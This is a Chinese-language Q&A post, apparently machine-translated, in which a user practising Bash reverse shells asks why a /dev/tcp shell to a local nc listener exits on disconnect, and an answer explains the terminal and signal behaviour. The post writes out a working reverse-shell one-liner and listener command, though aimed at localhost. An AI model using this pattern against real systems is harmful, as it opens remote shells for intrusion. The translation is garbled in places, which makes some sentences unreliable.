我一直Bash
通过使用各种重定向运算符创建反向 shell 来练习我的技能。
设置nc
监听器后:
nc -lvp 4444
我运行以下命令:
0<&116-; exec 116<>/dev/tcp/127.0.0.1/4444 >&116 <&116 2>&116; /bin/sh
我无法解释的是为什么/bin/sh
shell 在连接断开后退出,但前提是 shell通过按?nc
断开连接。^C
如果/bin/sh
shell断开连接,那么在shell^C
中输入/bin/sh
会导致shell中出现换行符nc
吗?
答案1
0<&116-;
除了触发错误之外,不知道这应该实现什么(除非 fd 116 已经打开,在这种情况下它也不会做任何值得注意的事情)。
让读者感到困惑?
exec 116<>/dev/tcp/127.0.0.1/4444 >&116 <&116 2>&116; /bin/sh
即使你通过套接字将当前 shell 的 stdin、stdout 和 stderr 重定向到监听nc
,当前终端仍然是控制终端外壳的。
当前终端中的 ^C 会将 a 发送SIGINT
到前台作业,该作业(如果不等待另一个命令)就是 shell 本身,即交互的,将捕获SIGINT
并在捕获后重新打印其提示。
另一个终端(nc -l ..
正在运行的终端,以及 shell 从中获取输入并将其输出打印到的终端)中的 ^C 将终止nc
并关闭其所有连接,导致 shell 由于EOF
其标准输入而退出。
同样,目前还不清楚额外的费用/bin/sh
应该达到什么目的。它将立即退出,因为它从其父级继承了EOF
stdin 或SIGPIPE
/ EPIPE
stdout(与 的连接已断开nc
)。